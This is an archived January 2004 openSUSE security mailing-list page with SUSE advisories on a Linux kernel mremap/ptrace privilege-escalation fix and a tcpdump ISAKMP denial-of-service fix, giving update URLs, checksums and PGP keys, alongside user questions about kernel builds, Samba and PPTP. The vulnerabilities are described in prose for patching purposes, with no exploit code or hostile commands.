January 2004 - openSUSE Security - openSUSE Mailing Lists

Fw: [suse-security] SUSE Security Announcement: Linux Kernel (SuSE-SA:2004:003)
by Philippe Vogel 16 Jan '04

16 Jan '04

> > Could you please expand on your "For me it worked" statement? Have you > > experienced any issues, even minor ones, with standard services like > > Samba, Apache, Postfix, etc.. > > There are basic configurations for debian, but with knowledge on SuSE you > will be able to configure it to your delight. > There where no compliling problems (even without gcc 2.95 rc2 :-) ). > You can make a cloneconfig with renaming the old Makefile and copying the > Makefile from the SuSE - sources. > After make cloneconfig you have to copy the original Makefile back again > where it belonged. > After that make dep bzImage modules modules_install install && /sbin/lilo > (if you use lilo). Forgot to say you need 2.4.24 kernel from www.kernel.org :-) Philippe

1 0

SUSE Security Announcement: Linux Kernel (SuSE-SA:2004:003)
by thomas＠suse.de 16 Jan '04

16 Jan '04

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SUSE Security Announcement Package: Linux Kernel (x86_64, AMD64) Announcement-ID: SuSE-SA:2004:003 Date: Thursday, Jan 15th 2004 14:17 MET Affected products: 9.0 SuSE Linux Enterprise Server 8, Vulnerability Type: local system compromise Severity (1-10): 6 SUSE default package: yes Cross References: Content of this advisory: 1) security vulnerability resolved: - incorrect bounds checking in mremap() - inproper CPU register access check in 32bit ptrace() problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - ethereal - mc - mod_gzip - tripwire - cvs - gnome-filesystem - XDM (XFree86, xf86) - 3ddiag - mod_auth_shadow 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information The do_mremap() function of the Linux Kernel is used to manage (move, resize) Virtual Memory Areas (VMAs). By exploiting an incorrect bounds check in do_mremap() during the remapping of memory it is possible to create a VMA with the size of 0. In normal operation do_mremap() leaves a memory hole of one page and creates an additional VMA of two pages. In case of exploitation no hole is created but the new VMA has a 0 bytes length. The Linux Kernel's memory management is corrupted from this point and can be abused by local users to gain root privileges. Additionally Andi Kleen of SUSE LINUX found and fixed another bug in the 32bit emulation of ptrace() which allows to modify CPU registers from user-space to get full access to system ressources. There is no temporary workaround for this bug. Please reboot your system to run the new kernel. AMD64 Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_deflt-2.4.21-178… 4896825f6399bebc80073dbbd74432cd source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_deflt-2.4.21-178.sr… e9afc5cbb5fc1dddb53e179a52d45f0a ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/k_smp-2.4.21-178.x… 8b7667ac6baf4aebd4961274cbdaa84e source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/k_smp-2.4.21-178.src.… ffc25e3c1b9a4ed4e5182ff5cbdd5c18 ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kernel-source-2.4.… 9422ec31eb76d26a1dfaca8fb8542907 source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/kernel-source-2.4.21-… 8acc26621600cc7411f964656c435389 ______________________________________________________________________________ 2) Pending vulnerabilities in SUSE Distributions and Workarounds: - ethereal Two remotely exploitable denial-of-service attacks were found in the network analyzer ethereal. New packages are available on our FTP servers. - mc By using a special combination of links in archive-files it is possible to execute arbitrary commands while mc tries to open it in its VFS. The packages will be released soon. - mod_gzip (apache-contrib) The apache module mod_gzip is vulnerable to remote code execution while running in debug-mode. We do not ship this module in debug-mode but future versions will include the fix. Additionally the mod_gzip code was audited to fix more possible security related bugs. After more testing a new apache-contrib RPM package will be released. - tripwire Tripwire is a file integrity checker. The tripwire version on SuSE Linux 8.2 and 9.0 do crash when a requested file does not exists. New packages will be available soon. - cvs The cvs server-side can be tricked to create files in the root filesystem of the server by requesting malformed modules. The permissions on the root filesystem normally prevent this malfunction. Additionally the package will include a fix for a format-string bug. New packages are available on our FTP servers. - gnome-filesystem A script included in the gnome-filesystem package handles temporary files insecurely. This script is called by YaST2 with root privileges. The bug can be exploited locally to create or overwrite arbitrary files in the filesystem. The bug is fixed in our current source-tree since November 2003. New packages are available on our FTP servers. - XDM (XFree86, xf86) A missing check for failure conditions in the PAM code of XDM can lead to local root access in conjunction with Kerberos and alike. New packages will be released soon. - 3ddiag Some 3ddiag scripts handle temporary files in an insecure manner. Thanks to Stefan Nordhausen <nordhaus at informatik.hu-berlin.de> for reporting some of the issues. New packages will be available on our FTP servers soon. - mod_auth_shadow (apache-contrib) This apache module ignores account expiration dates. The update will be released together with mod_gzip. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SUSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SUSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SUSE in rpm packages for SUSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SUSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SUSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SUSE security discussion. All SUSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SUSE's announce-only mailing list. Only SUSE's security announcements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. ===================================================================== SUSE's security contact is <security(a)suse.com> or <security(a)suse.de>. The <security(a)suse.de> public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SUSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iQEVAwUBQAauK3ey5gA9JdPZAQGcTgf/WCsUH+MD76poukHjE7gRkKGgEdMypjRl 3cnwkOny+86EQ19+g14804Ef/ljDGlK7iY5HVu/gOD4sEwZJTEkaeUacekqtsZIr spoyIf7zv6V+nbmk7kgKxUhnrSHKgpJPDBCLrPUV6LZ8Rj8uo00HowlZwov1fShh bKoYgOC82Hyn8M+7Z3Tp+6X4qng42D/fYJ/s0l5ZcV8lE94HO11S7tAbFUqehwRO IVmXxIima2i0RWfXt8i55aVxwI/x6moQybwT+ffyoQ/31wuvA9YX+kYORtNTIfDK E0lj36jFRw4IEAVM2eJ/1Tt5s/XPqceXt1ejnBEaO+g+fCCSXmQm5w== =oDOD -----END PGP SIGNATURE-----

5 5

Samba changes from 8.2 to 9.0
by Boris Kimel 16 Jan '04

16 Jan '04

Hello list, I'm having extremely strange problem here. We have two SuSE Linux boxes - one 8.2 and one 9.0 both running Samba identically configured. I can see and use both Sambas from our Windows 2000 and Windows XP Pro boxes. But when I come with my Sony Win XP Home notebook only the 8.2 Samba server is accessible, the 9.0 does not let me log in. Are there any security-side changes from 8.2 to 9.0? Or should I stop bothering you and start beating a drum around Windows? Regards, Boris Kimel N. D. Zelinsky Institute of Organic Chemistry, Moscow, Russia. (Slightly) offtopic, heh?

2 2

PPTP Server behind NAT/DMZ
by Marco Lum 16 Jan '04

16 Jan '04

I have a problem which setup a PPTP Server behind NAT DMZ, Network like: www.xxxx.yyy.zzz (Fixed IP) --NAT --192.168.1.254(NAT Router)-----DMZ 192.168.1.1(SuSE) I Found most of normal service work well like apache, FTP etc, But PoPTP can not connect link success, Seems no respone after auth username & Password. Please Help

3 3

SUSE Security Announcement: tcpdump (SuSE-SA:2004:002)
by krahmer＠suse.de 15 Jan '04

15 Jan '04

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SUSE Security Announcement Package: tcpdump Announcement-ID: SuSE-SA:2004:002 Date: Wed Jan 14 14:00:00 MET 2004 Affected products: 8.0, 8.1, 8.2, 9.0 SuSE eMail Server III SuSE Firewall Adminhost VPN SuSE Linux Admin-CD for Firewall SuSE Firewall on CD 2 - VPN SuSE Firewall on CD 2 SuSE Linux Enterprise Server 7 SLES 8 for IBM iSeries and IBM pSeries SuSE Linux Enterprise Server 8 SuSE Linux Desktop 1.0 SuSE Linux School Server for i386 SuSE Linux Standard Server 8 SuSE Linux Office Server UnitedLinux 1.0 Vulnerability Type: remote DoS Severity (1-10): 3 SUSE default package: yes Cross References: http://www.tcpdump.org CAN-2003-0989 Content of this advisory: 1) security vulnerability resolved: remote DoS condition in tcpdumps ISAKMP handling problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds: - opera - mc - mod_gzip - tripwire - cvs - gnome-filesystem - XDM (XFree86, xf86) - inn - mpg321 - popper - kdepim3 - pin - 3ddiag - mod_auth_shadow 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information Tcpdump is a well known tool for administrators to analyze network traffic. There is a bug in the tcpdump code responsible for handling ISAKMP messages. This bug allows remote attackers to destroy a current tcpdump session by tricking the tcpdump program with evil ISAKMP messages to enter an endless loop. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. i386 Intel Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/tcpdump-3.7.2-72.i586.… a4395d7d819ea8918778f9a3b91c297c patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/tcpdump-3.7.2-72.i586.… 4eae84a6074af7c2386f9145a49f9477 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/tcpdump-3.7.2-72.src.rpm b32b0e08e9add34b3c42599734723454 SuSE-8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/tcpdump-3.7.1-341.i586… 39c8e448e4056111444658ce93281ca3 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/tcpdump-3.7.1-341.i586… dfcb12acdad084fcf15508361a3018b5 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/tcpdump-3.7.1-341.src.r… b92c579649acc9fb19810bcc7a670d6d SuSE-8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/tcpdump-3.7.1-341.i586… 5527a4823b041894324ae65b02e40011 patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/tcpdump-3.7.1-341.i586… f4c933fd520dbcab98092e5a2fe8846c source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/tcpdump-3.7.1-341.src.r… 0b118d8fe78cea0cc2405a934a77b7fd SuSE-8.0: ftp://ftp.suse.com/pub/suse/i386/update/8.0/n1/tcpdump-3.6.2-330.i386.rpm d77a4e84796cc96be12c97ea19d272bb patch rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/n1/tcpdump-3.6.2-330.i386.patch… 74882ed085cc27c938ed5529df8040c4 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/tcpdump-3.6.2-330.src.rpm 51f39911dadd7add63e07a922840314c Opteron x86_64 Platform: SuSE-9.0: ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/tcpdump-3.7.2-68.x… 0278d04abfe2bcffca8f45e711beebd0 patch rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/tcpdump-3.7.2-68.x… 348b217551a35a6e4f9698e92f3170c8 source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/src/tcpdump-3.7.2-68.src.… 2deb0ae848d115e00593a5639ec5b6b8 ______________________________________________________________________________ 2) Pending vulnerabilities in SUSE Distributions and Workarounds: - Opera web browser The SuSE Security Team has discovered a flaw in the Opera web browsers X.509 certificate handling during the SSL handshake. It allows attackers to prompt the Opera web browser with invalid certificates containing the public key of the attacker. Thus, he can read or modify the HTTPS traffic without notification by the user. New packages fixing this problem will be available soon on our ftp servers. - mc By using a special combination of links in archive-files it is possible to execute arbitrary commands while mc tries to open it in its VFS. The packages will be released soon. - mod_gzip (apache-contrib) The apache module mod_gzip is vulnerable to remote code execution while running in debug-mode. We do not ship this module in debug-mode but future versions will include the fix. Additionally the mod_gzip code was audited to fix more possible security related bugs. After more testing a new apache-contrib RPM package will be released. - tripwire Tripwire is a file integrity checker. The tripwire version on SuSE Linux 8.2 and 9.0 do crash when a requested file does not exists. New packages will be available soon. - cvs The cvs server-side can be tricked to create files in the root filesystem of the server by requesting malformed modules. The permissions on the root filesystem normally prevent this malfunction. Additionally the package will include a fix for a format-string bug. New packages will be available soon. - gnome-filesystem A script included in the gnome-filesystem package handles temporary files insecurely. This script is called by YaST2 with root privileges. The bug can be exploited locally to create or overwrite arbitrary files in the filesystem. The bug is fixed in our current source-tree since November 2003 but nevertheless update packages for older SuSE Linux versions will be released soon. - XDM (XFree86, xf86) A missing check for failure conditions in the PAM code of XDM can lead to local root access in conjunction with Kerberos and alike. New packages will be released soon. - inn A buffer overflow in the code for handling control messages can be exploited remotely. New packages are available on our FTP servers. - mpg321 A format-bug in mpg321 can be exploited (even remotely by HTTP streaming) to execute code with the permissions of the user running mpg321 on special MP3 files. New packages are available on our FTP servers. - popper Popper handles temporary files in an insecure manner. New packages are available on our FTP servers. - kdepim3 It was possible to use a buffer overflow via a special crafted vcard file to run code during generating previews. By default it was only possible on local filesystems, but the user can enable this also for remote file systems. New packages are available on our FTP servers. - pin Pin handles local temporary files in an insecure manner which may lead to local privilege escalation. Thanks to Stefan Nordhausen <nordhaus at informatik.hu-berlin.de> for reporting one of the issues. New packages are available on our FTP servers. - 3ddiag Some 3ddiag scripts handle temporary files in an insecure manner. Thanks to Stefan Nordhausen <nordhaus at informatik.hu-berlin.de> for reporting some of the issues. New packages will be available on our FTP servers soon. - mod_auth_shadow (apache-contrib) This apache module ignores account expiration dates. The update will be released together with mod_gzip. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SUSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SUSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de), the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an un-installed rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SUSE in rpm packages for SUSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SUSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the top-level directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SUSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SUSE security discussion. All SUSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SUSE's announce-only mailing list. Only SUSE's security announcements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. ===================================================================== SUSE's security contact is <security(a)suse.com> or <security(a)suse.de>. The <security(a)suse.de> public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the clear-text signature shows proof of the authenticity of the text. SUSE Linux AG makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 